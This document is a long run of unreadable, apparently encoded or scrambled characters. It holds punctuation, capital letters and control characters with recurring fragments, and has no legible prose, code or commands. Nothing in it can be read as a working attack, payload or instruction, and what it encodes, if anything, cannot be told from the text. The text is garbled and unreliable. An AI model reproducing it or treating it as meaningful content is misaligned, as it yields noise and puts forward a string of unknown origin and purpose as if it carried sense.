WSAC^YgRCNi^0ESCRWKlCJ(PU	&T_RgH^MYQgIW+^O&Q\;PClW^M*M	^+@P\]0W;YCUlPLP*AHWPi&[N;^QHl^ZRU0[^( ZG&SCPA&_Y*P	C+C]&H^WC^[&QZiC0FC(WHESH(PU	&T_Rg^AMYQgFW+^O&Q\;WH@^];YCUlPLP*WHG^ZP[	HWPi&[N;^QHlSCRU0[^( ZG&JPWHJ^]@(QAlW^M*M	^+OP\&[N;^QHl	SCRWKlCJ(PU	&T_Rg H^JPPA&TY*P	C+C]&USH(PU	&T_Rg^AXC^[&ZZiC0FC(R^Q^]@(ZAlW^M*M	^+EP[
HU+^O&Q\;PA&_Y*P	C+C]&H^_C^[&QZiC0FC(S^ASH(PU	&T_Rg	PZ;MW0[^( ZG&GCYRH^F]+W[gRCNi^0Z^ZP\&[N;^QHl^ZP[PZ;MW0[^( ZG&^CYR]^F]+W[gRCNi^0I^ZP\&[N;^QHl^Z	R^PZ;MW0[^( ZG&SCI^F&^MOgUQSiP[	H^MYQgIW+^O&Q\; WHC^];YCUlPLP*AH^ MYQgFW+^O&Q\;P[D^];YCUlPLP*NPZ;MW0[^( ZG&^C^YgRCNi^0WSRP\]0W;YCUlPLP*O^ASH(PU	&T_Rg	H^DC^[&ZZiC0FC(R^I^ZP\&[N;^QHlSC RWKlCJ(PU	&T_RgWS]C^YgRCNi^0WS_CYRO^ASJS*\&^MOgUQSiP[PXiC0FC(HHWPi  &[N;^QHl^ZRU0[^( ZG&TC^[&ZZiC0FC(WHQSH(PU	&T_Rg	H^ZC^[&ZZiC0FC( A^ASH(PU	&T_Rg^A SCRWKlCJ(PU	&T_RgH^M[*P	C+C]&WSRC^[&ZZiC0FC(H	HU+^O&Q\;P[PZ;MW0[^( ZG&JPPCBY[G&DD&
GP__5^V&NKQKl BQ5Q
0AR]QKl MQg @D4Pg
G&Y
V]+S^NQG&YVH_
BJ	 @QPi&[N;^QHlSCPFDIP]PA CQg @B	KS*P	D]gRCNi^0X	SH(PU	&T_Rg WSUC^YgRCNi^0Y^ZP[HU+^O&Q\;R^WSFC^YgRCNi^0\^ZP[HU+^O&Q\;PClW^M*M	^+ARU0[^( ZG&RC^YgRCNi^0CSCRU0[^( ZG&SCR^PXiC0FC(R^WS^CYR\^FPOPY]+^UY
KlYM^Q/US;Q
@QPi_Isi\_\;WPFH]+^J5^V&S(WV ELS*@ BPLS*PNDWUQD*UP\iC0FC(Z^ASHS*PC&DM^&JD D]&A"YPF^
M]nPO__5^V&NKQKl	BQ5Q
0AR]QKl	MQg @D4Pg
G&Y
V]+F^NQG&YVH_
BJ	 @QPi&[N;^QHlSCR^P]YJYVPD JKlE_
E@PL]0^ U_*P	C+C]&WSUC^Y&[UPi\Kl	UQKl mIF@JXYYRZUHXnPO__5^V&NKQKl	BQ5Q
0AR]QKl	MQg @D4Pg
G&Y
V]+F^NQG&YVH_
BJ	 @QPi&[N;^QHl^ZRPNDWVD
S*T	K]		S(Y[Q+^O&Q\;P[WSGC^Y&[UPi\Kl	UQKl mLLP\RLG[J\ JGWDFJ\ RDWDFJ\ JGWDFR_JGWDFJ\ JGW^(BUQ4PgZ
 ELS*H F_4_(]RSLS*H FPi9	Zig ]X]&JPO__Qg @XIKI
 D]0_;YCUlPLP*TH^M^TD	RSM]APiNE	V+[PQ0[^( ZG&UP\]0[X;P&OYQG&D?FBHYKYP*\	9_*]@@(API9E;YQ@(APFH]+ZHx_+Q*[GB_Qg	BPLS*TDIP]_I@F]&\
XiC0FC(WHZSMVH_
L]]+ZNEVS]H
T&W&[N;^QHl^ZRUKl@(JPFH]+FJJ]+O,]QC
]W\ JGWDFJ\ JGTYFJ\ JGWDFJ\IZWDFJ\ JGWDF$F$T0VE]&JPR$g
RT]&JP]M@(W
RsZ(]0PBKQKl	_]0_YJYV_REW
G&Y[*P	C+C]&H^JPPFDIP]PA CQg @B	K
E]0@IWAQ0[^( ZG&JPWHE^];YCUlPLP*]H^M[*P	C+C]&PSH(PU	&T_RgPX_JP\;&X^QGsZ(@G
\;WPI9E;YQ@(VFPi9	Zig ]X]&]]]&JUYT

_D*UP\iC0FC([^ASHS*R ]+O^\C]0C IB]0J/PAXT]
TEP*\	9_*]@@(API9E;YQ@(APFH]+ZHx_+Q*[GB_Qg	BPLS*TDIP]_I@F]&\
XiC0FC(A^ASMVH_
L]]+ZNENPi HYR \iC0FC(R^V^ZP\&[N;^QHl^ZP[HU+^O&Q\;R^WSSC^YgRCNi^0JSH(PU	&T_Rg^AM[\ AU_Qg;KlLY7]
]\;BUQPi_GY_QgIU+^O&Q\;P[P]YJYVPD JKlL_
T

Z\;B_IsZ(@G
\;BPI9E;YQ@( QFPi9	Zig ]X]&Z]]&\
UYT

_BKQKlEH(PU	&T_Rg^ANC^\DRUE^JF;KBNPiA;YCUlPLP*OH^M[*P	C+C]&Y^];YCUlPLP*WHESH(PU	&T_RgPXiC0FC(S^F&^MOgUQSiP[PXiC0FC(AHU+^O&Q\;WHU^];YCUlPLP*B PXiC0FC(R^PSH(PU	&T_RgH^UC^YgRCNi^0WS]CYR@^FPOPY]+PUY
KlEMQgEDPBG0D@(_
FDPQKl@D&JP;KD/US;L&\ S
]0C ]]&\
UYT

_BKQKlEH(PU	&T_Rg^ASCPFDIP]PA CQg @B	KL]YWAWU^PY
W*O]+[Y&QI8G^%^8FAoBR8B[%I(RE)@OVE%EU+M3KOAj@dX %EQ+
oB8B3KNFjTBDdIZS(WC[d]	(NRBD3MAOdYP(PC)LXZ[]M]9@&__Qg@PJE7K&VW]0^ML]YDPT&XJ5K]DLS*UBPLS*HDIP]PVD
WJJQ]@(ZDAOL^N^V^LS*H;UQPiHD0[^( ZG&SCR^WSNC^	D]0GIY(PU	&T_Rg^ASC RP\ _
]0Z@(_
Aw0&s'#:j 0`<$w66!w+A& S_9@&__QgZP]M@(ZDAO;J
]+D[QL@TJi]0Z@(ZFB	SQGCQ;L]+[Y&VP]M@(Z"2]+_NEVD
S*JTN	_]Y	FB&F\;]0YX;@UKlCHS*@C^&^
ISW
&^MOgUQSiCYRI^A SHJ&V	W]gRCNi^0[SH(PU	&T_Rg^^]@(KPF]+\JJJQ+^O&Q\;L^F&^MOgUQSiPClW^M*M	^+WP\&[N;^QHlSCRU0[^( ZG&_CYRN^FBPiHYR \_S*T	D]BKlTYJPOPY]+T	UY
KlS*NRG[LS*NClW^M*M	^+JPP^FBPLS*NRD+^O&Q\;P[H^JP PFHXMTN]+C H]_SL(PU	&T_Rg^AJPPC&UH_VFAX _ELDWATY@IAP]][]\;OPSBMMIZOG[R_L_JB\\ _
KlFYJ _S_J]+C .GPYIDRDT^(PT&QJJlF]Q0[^( ZG& FCYRR^F&^MOgUQSiCYRS^ASCRUA@( A4BMMIZWDFJ\ JGWDFIA JGWDFJ\ JGOG[J\ JGWDFJ\ P)MLQg]+@[gRCNi^0WSGCYR^^ASJS*R]+Z.eDKl]lD]&Q	X;P&T?*H&Q	OK@(_4nDPiUQPiUQU_
(JJQ+^O&Q\;PC&TM^&I/kY(PU	&T_RgWSYC^[Z
Y;LQF]+D.eD0[^( ZG&JPPTNEgA;YCUlPLP*WH_	SHS*JFPic$RlW^M*M	^+CRWKGEII*R
G&_^[gRCNi^0WS\CYRU HBPic$RlW^M*M	^+_P\UQU_
(JJQ+^O&Q\;PC&TM^&I/kY(PU	&T_Rg	H^MYQg	]+D.eD0[^( ZG&SCR^POK]lD]gRCNi^0_^ZP\]0A]S*T	h$IiC0FC(B^F]+^N&T/kY(PU	&T_Rg_^]
Qg]DDPTUS]0YTWS*\PLgA@(I	C&Q^\C]0Xm9JQgCB	K@(@DAOL^N^V^LS*T	;OP&GJL\A]K@@(SCBMMI_M[L\
\;OU0[^( ZG&JPJ^FP]]Q0RW_QgCUPiP&N?*HZ
Y;]0Y_
&QI\&[N;^QHlPC^YYR +[]gRCNi^0WSSP\]0XMLQg@DY]gRCNi^0WSTP[HUPi\
GXDJ]+CY&Q]QGTPL ]Y+T_QgPiCR_*P	C+C]&H^ SCYRM^F]+@[DIBHYS^N&Q	IEW DUQKlA?ZDOBTCV\X	O^TGQ*\BKlDYS*M hTEPZUO[HE9LQgADD*J_SL(PU	&T_RgWSGC^YgRCNi^0AM[J]+\\BVD
S*N&^MOgUQSiRWKlD_
JR[\Ti]0TS*_
 D;HP\iC0FC(HHU+^O&Q\;WHY^]@(ZF]+@H]_SL(PU	&T_Rg WS[C^Y&Q]@([DAOL^N^V^LS*N	;^P&SJP]+FYgRCNi^0WSEP\BKlm9JQg	
UB	A]Q\BLS*ZFQGS\AHBNLBQJRLS*ZFDI;YCUlPLP*[	H^M^YR +F]&PPOKM_
_*P	C+C]&H^YP\]0Q];YCUlPLP*R^AMLHE SD VZ;^QKl@(MFHB&FZiC0FC(R^BSJS*B
TN	_]Y	FB&Q\;JUKlNHS*\Pi9
K	Y ]gRCNi^0^^ZRUKl
DMLQg	CDPicTWNYSGX	@XHEQ*T]0W@(NRXW0VE]gRCNi^0WSCCYRM^FPKvgAX( KPN;O"GZ  VGRD9L^QN&@	Q0RW_QgPUD&[N;^QHlSCPClW^M*M	^+\CYRU^F&^MOgUQSiPClW^M*M	^+BRU0[^( ZG&SCR^	PXiC0FC(OHU+^O&Q\;P[H^GC^\P&@JQgD"\_
\J]\OG^R_$OK]]0C@(JRX[]0`<&`!%.gRCNi^0@M*\FKl*1d22'c&[N;^QHl^ZR$UsBL]SLS*\BZU&AIvPGX]0W_S*V] ^X&C\;MPTZ\@(V F&XJQgD"\_
\J]\JE@IAL_JE@IAL]k_S*_D]BUQC
Ql_&[N;^QHlM^S] _*]@;YCUlPLP*U^AM^\C9ARL7J\QPicQ]]D\Q_JGWDFJ\ JGW\EJ\ JGWDFJ\ J_JDFJ\ JGWDFJFnP]S*_h$IiC0FC(IHWPi
&[N;^QHl^ZP[H^MYQgJW+^O&Q\;P[PZ;MW0[^( ZG&BC^[gRCNi^0WSEP[HWPicJ^RGQ\@ KDHFV*[gRCNi^0WSSCYRQ^F
 D H	
AQPBG0D	UAMAVYYSEXHYPZiC0FC(WHUSJ(PU	&T_Rg^AMYQgKW+^O&Q\;PA_ZKgPZiC0FC(NHW+^O&Q\;R^	PZ;AW0[^( ZG&]C^[JWQ\_
\J]\JB^
WZKZOE[PCBMMJGWD^J\ J_WDFPF&^MOgUQSiP[HW+^O&Q\;P[WSCC^[KGF][Z(H GBMMKZOE[R]L_JB\PAlW^M*M	^+SP[HWPBG0\ \J(PU	&T_Rg^ASCRBKl
\YSPG+X_\]0Tm9J*P	C+C]&H^@C^[&EZiC0FC(WHP^]@(V AlW^M*M	^+JP]^ASJS*K&^MOgUQSiR^ PZiC0FC(WHTSJS*K&^MOgUQSiPAlW^M*M	^+JPWHR^]@Q
B&F_]QC
]
R]K]LLP\RLG[R_L]J(PU	&T_RgH^MYQL@TJiK]
TFS[]QC
]WZIZOG[R_L]JSPG+A]KXYYT[AJDJEIFF PAlW^M*M	^+^P[HWPBG0D	UOGYBLLDZMLDHCW[]QC
]W]RDVB^W]RDVB\W0[^( ZG&RP\&[N;^QHlSCPA&EY*P	C+C]&H^YC^[Z
Y;PAlW^M*M	^+JPWHBS_L]]+Q.YR +D]0T9LHE SD VZ;]0C
@(TC&ZHS*^IEHS*PC[QgKD D\C]0VLS*IRD+^O&Q\;R^PKiC0FC(N^F	&^MOgUQSiP[HPZ;IW0[^( ZG&UC^[&_O; _
@(VRTEQZCR\TTUDABKlQY(PU	&T_Rg^ASCRBUQPi _	FBgZ
 EL(PU	&T_RgH^RC^\Kl$W\	XLS*H
]+UY&]X;_UKlOMLQG&CQS]0YR[\+SL
GlW^M*M	^+WCYR@^ASM^&FD4EY0@]*[V @(@C&X[QgTUPiT]I_UNLT^I_ TDYZ
Y; BZ\; /@S*Kl[ LQKl@(@ CADSGANWPO;KDKGEII*RG&CML^QNCQ;L&^MOgUQSiCYRHPX;KPFH9U]QKl_L]YWA CQgDLOUUVY0V\; ]0@@(KC&O[QgFP;RDKGEII*]]+R\9	C ELS*RClW^M*M	^+ORWKl
\J(PU	&T_RgH^QC^\]0C@Q
B&YLS*RFE]0^ U_*P	C+C]&WSLCYRL^F]+F\/U	B_Qg&^MOgUQSiRWKl
\J(PU	&T_RgH^JPPF]+E HZ
Y;]0Y]]	V+[PQ0[^( ZG&JPPC&F^\C
GXDT

	__LC@(ZClW^M*M	^+N RPNDW/U	B_Qg&^MOgUQSiPF]+FHZ
Y;]0Y]]	V+[PQ0[^( ZG&RP\]0CM]ATP]BZ\$J^&YL&
]Z(J G\; FX FVYGR]KAVYGR]KAM^JFKTN9F]0YXiC0FC([^ASJS*K&^MOgUQSiP[H^M^N&QIKTQl@(MPTZ\_&R^L(PU	&T_RgWSNC^Y&Q]L]YWsC]&FU+^O&Q\;WH]^]@(BAlW^M*M	^+JPZ^ASMLQgIDPBG0Y\; BUQUFgG;YCUlPLP*WHR^ZP\]0FM]ATP]BsC]&FU+^O&Q\;WHU^]@(KAlW^M*M	^+SRPT&\YSPG+\_QgBPLVJlB]gRCNi^0W^ZP\]0C]L]YW/U	B_Qg&^MOgUQSiRPT&XJQL@TJi]&FPO__TH
T&W&[N;^QHlSCR^PX;_PFHB_
S*N	9N\GlW^M*M	^+@CYRH^F]+O\ AU_Qg
UYE@(SPsC]&FU^]&XU+^O&Q\;\^FW+^O&Q\;P[P]S*M] ^X&\QPi\	
 D]0F;YCUlPLP*WHIM^HDGOMDZALBIEM^xF@(MU0[^( ZG&XCYRZ^FBSVYAL]YWAWU^PY
W*_]+\[Qg
AUPi]0J @(QC&WHS*YFH]+EHZ
Y;QQKlCML5^	G
\; &[N;^QHlMYQg
YW+^O&Q\;P[V^]_S*H] ^X&\QPi\	XD*UP\iC0FC(THUPiPsC]&FU+^O&Q\;PA&NY*P	C+C]&H^_CYRM^FBPi][Z(WQKl_XAi	[GlW^M*M	^+ZP[HUPiPA CU^@OK
AY_Qg	^U+^O&Q\;R^WS[C^\DRUE^xF@(MU0[^( ZG&_C^\]0C@Q
B&YLS*RFE]0^ U_*P	C+C]&JSHS*HPD JOUELQG9BU&\S(V_+ULG&CHMCBMMMZOC[PFSVY	RS_
5^	G
\; &[N;^QHlSCR^PZ;RW0[^( ZG&SCWHY^]_S*H] ^X&\QPi\	XD*UP\iC0FC( \HUPiPA CU^@OK7H@QPiYgRCNi^0CSCRPT&^JQL@TJi]&FPO__TH
T&W&[N;^QHl^Z
R^PX;RPFHB_
7H@QPiYZVO@iW
]+P^[gRCNi^0WSYCYRZ^FBPi ][Z(WQKl_XAi	[GlW^M*M	^+RCYROHUPi PA CU^@OK$M]+\[Y

M+S
\G&XMY*P	C+C]&WSTP\BKl]YSPG+\_QgBPLVJlB]gRCNi^0]M[QgXP]MMZNE9	C ELS*RClW^M*M	^+NCYR_^F]+E[gRCNi^0C M^N&KIKTQl@(MPTZ\_&R^L(PU	&T_RgH^JPPC&N^\C
GXDT

4PKQKl;YCUlPLP*_^AMYQgKW+^O&Q\;_^FBPiHZ
Y;]0Y]]	V+[PQ0[^( ZG&N
P\]0C]L]YW/U	B_Qg&^MOgUQSiRPT&XJQL@TJi]&FPO__TH
T&W&[N;^QHl^ZRUKlQM^JFKTN]+@HxCR_*P	C+C]&WSXP\]0J _JP\;^Y@]+W^xF@(MU[@(SU0[^( ZG&DC^\&[N;^QHlSCRPTN]+CHZ
Y;]0Y]]KC@( R
ClW^M*M	^+JPVHPIY_VFAX _EIF4PKQKl;YCUlPLP*@^AM^NJF ]BA CU^@OKNVYC
Q&YLS*RFH]+WHgRCNi^0WSNCYRQ^F_]9	V@(MPFH]+@J5^
G
\; L[TBRZD
KDKF_]0EIYT

SN&KZ@([BUQ4ELG&UH_VFAX _DLDWAH_VFAX _EJ\ JGWDFJ\ J_JDFJ\ JGWDFJDWGWDFJ\ JGWD\DRlW^M*M	^+GCYRYHPDVD
S*YDLOUUVY0XMQg\DD&[N;^QHlEC^YgRCNi^0WSLP\&[N;^QHlWC^YgRCNi^0RM[*P	C+C]&H^SC^\]0B$L @O
]QKGEII*IFES*IB&[N;^QHl^ZR^PO; Z\iC0FC(R^ASHJl@]Q
K	Y ]gRCNi^0F^ZP[HUPi PF]+_J*P	C+C]&WS_P\ AU_Qg\YE@(VPZ\v[]
DLS*]AlW^M*M	^+CP[HWPi[gRCNi^0WSXCYRU^F&^MOgUQSiCYRH^ASM^&XWI;&[N;^QHlMLE
GXDW	G&]H(PU	&T_Rg
WSCC^\AWU^PY
W*KP;A;YCUlPLP*WHPM[*P	C+C]&YSH(PU	&T_RgWSDC^\]0C
;YCUlPLP*WHW^ZP[HBY[G&ND&
Y]M]&@I;YCUlPLP*R^ASCR&EJHgRCNi^0WSBCYRTHEW
G&E[*P	C+C]&H^JPPFDIP]P&EJ*P	C+C]&H^AP\UQUS	AQKl	GM^Z
ROK]C@(&}+9v+/;@$FPi Hx	V+DY
&^MOgUQSiCYRZ^AM[*P	C+C]&JSHS*k<=e<&m@(R2BPiZ\;BNES*H
Pi&[N;^QHlML&@Iv_&V	W]gRCNi^0D^ZP[HU+^O&Q\;R^^^]@(KF]+C
JQg	BBPi
H&@O__T]G \KTQlTLS*MCUE^\D/CQ;L&^MOgUQSi PC&E^\JFY G&^HS*MFH]+FYgRCNi^0]SMVH_
B7JlB]gRCNi^0C SCRUKl	GM^JFY G&^HS*MFPiCR_*P	C+C]&H^JPPC&XML^Q\BLS*M G\WDX	IBT@M^&BIULQKlAMLWG&DY_X
T]YYMLQg]+LN&AR_S*_ RYXL(PU	&T_RgPXWA&_SLS*M ]+G^\	
 D]0T XiC0FC(R^WSGC^\DRUE^JXBPiHx
GEVVQPi\	]+U^Qg]+QLE
GXDJ]+X[QgB	FY
XWOlTLS*\]+EHLVP;AMLQg 
FDDPTZ\PL ]&NKQ0[^( ZG&QP\PZ\vUAQPi  ]0QX;MPFHEH]+T^\C9AO; T@BLS*A]+T^NJF;N[\+SL
GlW^M*M	^+YCYR@^ASM^&IIv g
G&S\QKlCHFC
N\HBV@^	OZA_WEB MFEH]+Z\	\W]&ITWS*_PLVU	JQPic&[N;^QHlSCR$FPi.eDKlB?(PU	&T_RgX^]k_S*Ah$I_LQKlB?(PU	&T_Rg	P)[S*_h&^MOgUQSiP2	QX^WWQFQ\GLDWAVY@BNEH]+T^\C9AO; T@BLS*A]+T^NJF;VS]&V]M@(VD/Wig
PRLS*\QX^WWQDQ\ELFBPLVU	JQPi\_NVB_QghQX^WWQDT^(c&[N;^QHlSCR$FPi.eDKlmLLP\RLG^R_I]k?(PU	&T_RgWSCC^(NB&VB	FY
XWOl_LS*H
PL7JlB]gRCNi^0WSLCYRN^ASHS*H
PD JOlW^M*M	^+JPLHWPi&[N;^QHlJPPTNH]+FYgRCNi^0G^ZP[HPUYT

_4FgG;YCUlPLP*LHUPiPA CUgRCNi^0FSCRWKl	GJ(PU	&T_Rg	 F^]L]]+FNE	ZBWMGXD(WG&\[Qg]+]HV_P;\D/@F]&YX; BUQPi
DRUE^JF;YCUlPLP*\POK@(UDKlROJ
]QPi\	]+]HDFL]Y4ELG&\[QgB	;^D/@F]&YX;YUKl_]0]YJYVPD JOlW^M*M	^+GCYRY^FSVY/@E]&YX;]0]@(UPTN	_]Y	FB&RQPiKl	_Y7@	\;YCUlPLP*WHD^ZP\]0J _L]Y4B]0CmY 0ARLS*H$]QGTPL ]Y+R_Qg]+O\C9Ai	[0R;YCUlPLP*OHUPiY&^]$]0^ U(TGlW^M*M	^+LP[HUPiY&]]]C@(U4 KGWEGePFHDPQKl
@?_VFAX _ELDWA9WK]0BI@(TP&CJ5]_SL(PU	&T_Rg^A	SCPC&ZMLQg^D+^O&Q\;R^WS@C^[Z
Y;9Kl*1d22'c&[N;^QHlOC^(]0@;YCUlPLP*OHBPiDA@(M4BMMI_OG^P2BY_QgQX^WWQDWDFJ\ JGWDFR_JGWDFJ\ JGW\EJ\ JGWDFJ\ J]@(KE\BLS*JBPi^PZ\EW
G&C,QgnU+^O&Q\;R^J^]EJH^@]M@(W
A&^MOgUQSiRWA@(A4BMMI_OG\ePTNE
A	ELS*Jh]+P*YgRCNi^0WSYCYRZHPUYT

Pi	HxCR_*P	C+C]&WSQC^Y&F/;ePTZ\_LQKlmP@ATY @_RA(_IZ
S_Qg A"Pi	.GPYIAL_JE@IAL_JE@$2P;KWRlW^M*M	^+U	 RWKlmLLP\RLG[R_L]kJ(PU	&T_RgWSPC^[L^QPic]0^/]D^MWTEP*(BNE
A	ELS*Jh]+P*YgRCNi^0WSNP\XRZ\C]0V$H W\iC0FC(R^I^ZP\]0Am@(K$CLYW^NQGZ
S_Qg^"YUO^
HVnP]M@(QR&_	,]QC
]W\ JGWDFJ\ JGTYFJ\ JGWDFJ\IZWDFJ\ JGWDF$TNZ&\
Z;YCUlPLP*I^ASJS*Jh]+P*NEKl@Q
B&[LS*KhK_QA^HXRYW*.&A$X;UW0[^( ZG&JPPAQSRC*]\@(W
F]+P^NEUQBKQKl;YCUlPLP*^^AM^TD	RSMQL@TJi
HGPYIAL_JE@IAL_JE@BKl;YCUlPLP*ZHWPBG0FZv@(&}+9v+/iC0FC(R^WSFCYRB^FnW+^O&Q\;R^PZTM0VY ]&J/ FT\EIFnPO;
A&S[GlW^M*M	^+^CYRV^F]+W[QgB	__T]G \;\"] A_VDBePFHDPQKlR?ZC RYN_QOMeY@]+GJK&Q]M@(QD
K	Y ]gRCNi^0WSZP\]0@_S*SZN^V^LSPG+EWK]0AI@(BPZ\;cQ]]D\Q_I]kYJQgW"E RZUKW TTWGDTXI)m@(J$FH]+PJL0AZ]0PmLLP\RLG^R_I]k?S*I2]+^,DJD
A_VAEeUKl_S*SCLJXB	K]]0XS*K]+\,JJ&W
]&ZP)@Q
B&G?*HYR \;\"VTGV\G	L2h]+G*Y&P]@(_DG+DY
]+U
.GPYIDRDT^(c]0B)@([C&QMLE/CQ;LlZL(PU	&T_RgX^]@(_UKl_X
^	 OLS*_4HGUC(PUS]0T/ FTYFJ\ JGWDFJ\IZWDFJ\ JGWDFIA JGWDFJ\ JGM*UY
Kl
ZS*K4FgGi&[N;^QHlM[Qg
CUPi\	X[]0[/VOFK^RG]\X
MZnP]M][QPi.GPYIA JGWDFJ\ JGOG[J\ JGWDFJ\ RDWDFJ\ JGWDFP2;GKlZM^Q@&C	QG&C^S@ @(A4&C*\Kl
FYSPG+S	_QghTATZDOBTCR*.&^$X;J"KlZ9[Qg
CPOK
Qg] ^X&
^QPi.GPYIDRD9,Qg
nUWC&
]R_Qg
CPX;BN9D*UP+W]gRCNi^0B^ZP\]0UX;PPTZ\L G&],G	MBTFP\XHXnP]M][QPicQ]]D\Q_L_JB\eY@]+GJK&[]M@Q
B&F	,(9
K	Y ]gRCNi^0ZSCRUKlCMLQg] ^X&
^QPicH_HDk?S*I2&^MOgUQSiRUKl_
x	V+[P&_\iC0FC(R^WS@CYRL^F]+P[QgBPLVU	JQPi.JWTTWOFePFHDPQKlmLLP\RLG[R_L]kD&ADJ; Kl$H W\iC0FC(WHB^ZP\]0E]]Q
V\;cQ]]D\Q_I]kM^x	V+[P&_\iC0FC(Q^F]+\,]QC
]R_$X; QPTZ\L G&X,]QC
]W\ JGWDFJ\ JGTYFJ\ JGWDFJ\IZWDFJ\ JGWDF$FY[G&X,]QC
]W]RDVB^W]RDVB\eY@]+[^&CD4SW
&^MOgUQSiP[HUPi	\	C
]&CPILLP\RLF^	PFH]+CJYB]0I	/ FT\EIFnPX_
YG&F?ZGHB TTPFGHX$]L@E R[IYQAXL^PO;cQ]]D\Q_I]kYSPG+S	_Qg
]+C[QghTEWZGR]O_UEAePT&_?_VFAX _EIFnDB(]	RY GlW^M*M	^+XCYRQ^ASH(PU	&T_RgP];YCUlPLP*WHW^ZP[HUPi.GPYIDP)_
EKGEII*V	h$I;]0UIKTQl@(H"BM_P*.&A$XiC0FC(R^V^ZP\]0U]
5H
T&Wg_Q+^O&Q\;R^PX;]0@]]C@(["GZ  VGWGWDFJ\ JGWD^W\ JGWDFJ\ JGTYFJ\ JGWDFJ\$]S*W&^MOgUQSi RB	\W]&P"\_
\J]\JB^WZ$TWS*HGPi/US; L&\ S
]0\$T0T iLG
\;]PF]+^J5^V&S(WV ELS*WBPLS*PFH]+BHZ
Y;^QKlLMLQgRD+^O&Q\;_^F]+B[gRCNi^0W^Z
P[
HWWC&
]R_QgBPiHZ
Y;]0@/ FT\EIFn"PieUKlWHS*^F4C
VG&C^NEKlg
CU_JJQ+^O&Q\;PClW^M*M	^+QP[HPXWAQ0[^( ZG&BP\Z\;J"GZ  VGRD9^\]0U]M&Q_
JR[\Ti ]0EX;\UKl	^Y TFH]+LJ*P	C+C]&H^JPPA_ZKg] ^X&QX;W0[^( ZG& BC^[&PZiC0FC(\^FEg_\;PPFH]+LYHgRCNi^0VMYQg	[W+^O&Q\;R^ A^]S*B
A&^MOgUQSiRBUQPBG0J]M@(KWR@iTVQ+^O&Q\;R^WSBC^YgRCNi^0WSGRUA@Q
B&GM^[gRCNi^0X MLJF;AWU^PY
W*IG&AHS*^FH
_]0D]M]Y0[^( ZG&QC^OJF[\+SL
GlW^M*M	^+[P\PPlW^M*M	^+RCYROHWPBG0DZiC0FC(I^ASJKY&X]Q/ZX_*P	C+C]&WSOCYRT^F] ^X&DUPi\W0[^( ZG&WCYRP^F	&^MOgUQSiP[PZKTQl;YCUlPLP*^H^MYY

M+S
\G&QMY*P	C+C]&F^Z P\@TiC0FC(A^AS^L]QC
Ql_&[N;^QHlSCRPF9T;[V&_	]V\;][Z(OU0[^( ZG&SCWH_^]^S*^TNDLOUUVY0D\; ]0U]M@(TR@iTVQD&[N;^QHl^ZR^PXiC0FC(R^WSCC^\&[N;^QHlSCRUKl_S*V
 D;HP\iC0FC(Y^ASH(PU	&T_RgH^M[QgYPOE[G&AMY

&^MOgUQSiR^PND JOPX(HGQWC&
]R_QgYP]]Y0[^( ZG&SCR^PND JOBB*H]T*]\@(TF&^MOgUQSiR^POKQGTPL ]Y+A_Qg[P;Z\EH&R@(IClW^M*M	^+YP[HP]@(^RGS_ Q
]+\\C]0DIvH]+O[*P	C+C]&WSQC^\	]+AVH_
S*Q
9BKQKl ;YCUlPLP*Y^AM[QgQX^WWQDWDFJ\ JGWDFR_JGWDFJ\ JGW\EJ\ JGWDFJ\ J]_]0ZYJYVPD]0Z$J	 @QPiYgRCNi^0RSHS*Q
QGV\XH^PO__QgVDIKFQWLQg
9BKQKl ;YCUlPLP*AH^M[QgVR\ \ZUJ\RY]ZG@FBPLS*^RDWV@(ID/@F]&IU+^O&Q\;P[H^JPPC&SO_VFAX _EKZIZQ\EKZIZQ^\	]+LJH_
YT&GY7L\
\;&[N;^QHl^ZP[	HUPi^T[M_QCGT]HYIFGAFBPLS*BRDWV@(VRs
T]0JXTD^K_ UPi\]0ZIvK]+O[QgVR\_
\J]\JE@IAL_JE@IAL]@(]TKlSI_VFAX _ELDWAMLQg	
9CJQKl @(IRGOCOABPF]+OJQgAWPi[&VB	SC]0YKTNSV]0JOKNVYC
Q&[LS*J]+CY&	TP; [D/@F]&	TUPi BVD
_QgPXIKF9CJ&V	W]&	TUPi]0DT]+D\CKlQGTPL ]Y+X]&Q]MM9_*_lXL
G&T[YVUPBG0F]QGTPL ]Y+G_QgCP;\DG Y]Gs	B^G&T[]QC
]	R^H_M^\	iY G&A [JJQ+^O&Q\;PClW^M*M	^+JPWHU^]MQSZ
Y;^QFSV][Z(TG&2(2&c&[N;^QHlSCP2h&^MOgUQSi
P2B	D JOsZ(]0PBKQKl?=z!$.gRCNi^0X^ZP[
H$/iC0FC(R^F^]kMLHE SD VZ;KQFH]+XJ*P	C+C]&WSEP\
GXD7MG\E*KUSLJ&V	W_QgX _GNDJAOFEUBNCICL	R^NBM^YGPYIDPXD@VJFIFG UB OGW@DPTN	_]Y	FB&C \;]0TIT^QG&SYJHT[LYICBPFH]+XJ*P	C+C]&C^ZP\
_
__Qg
DIUEAT^K]S*VRlW^M*M	^+_RBVSS*VRlW^M*M	^+PP\Kl
 ;YCUlPLP*WHV
SCRBKlBYJ
]QPi
\Q]]D\Q_JGWDFJ\ JGW\EJ\ JGWDFJ\ J_JDFJ\ JGWDFJFDLS*IRKBODD R]L_\GCBKl
@(ZBKlO^&GWI;clX _D
ABOYV[QgGP)L]]+ELHE SD VZ;^QFHDPQAOL(PU	&T_RgH^M[*P	C+C]&
WSOP\&[N;^QHlJPPClW^M*M	^+AP\&[N;^QHlSCRU0[^( ZG&AC^YgRCNi^0WSO	P[HU+^O&Q\;R^P]QgPLVMGX;Q
@QPi	\
GXDT

SVYAQGTPL ]Y+Y]&VPZ]0FX;D/T _	]
I\;BKlWY_YQX^WWQDVB^W]RDVB^W]PX FTYCOYOB RACOXIZ RACOYOB RABIAOB RACOYOBM^HQ[MYIELT]
J_PGCPP&ROVGQX^WWQGWDFJ\ JGWDFJA JGWDFJ\ JGWYFJ\ JGWDFJFJGUOEYBLC^S*MT&RJ]JWQE ODEA]HFHFB
R[L_RF@DRTGW\XLDIMMHQg
X _XGPYKARFQ\GLDWAH_VFAX _GLDWAVY@KAP]@(\BKlDY_YQX^WWQDQ\ELFTESZUMWRYPE\DGZ  VGWATY@PPBMMHLSB^	AAL_\YBR^WCMMYTF R\FHCJMOZFMDJE_S*[
RX _]QC
]W]RDVB^W]RDVB\O]TBV^HQ]]D\Q_KATYGR_KATYGPFX _]QC
]R_U@IA\M[TFT\G
OT&CY_YTAUZULWU@ IDDH\DIU@EMW RY QE\FRI_@RB A]LLP\RLB^RZPN FT\EIDPO;@D/ZQ]VCT]+T Y&W]@( BD/ZQ]VY	]G& SML5QTY]
^	S _Qg	KUPiYGPYIDRDHZCNBTB S[X
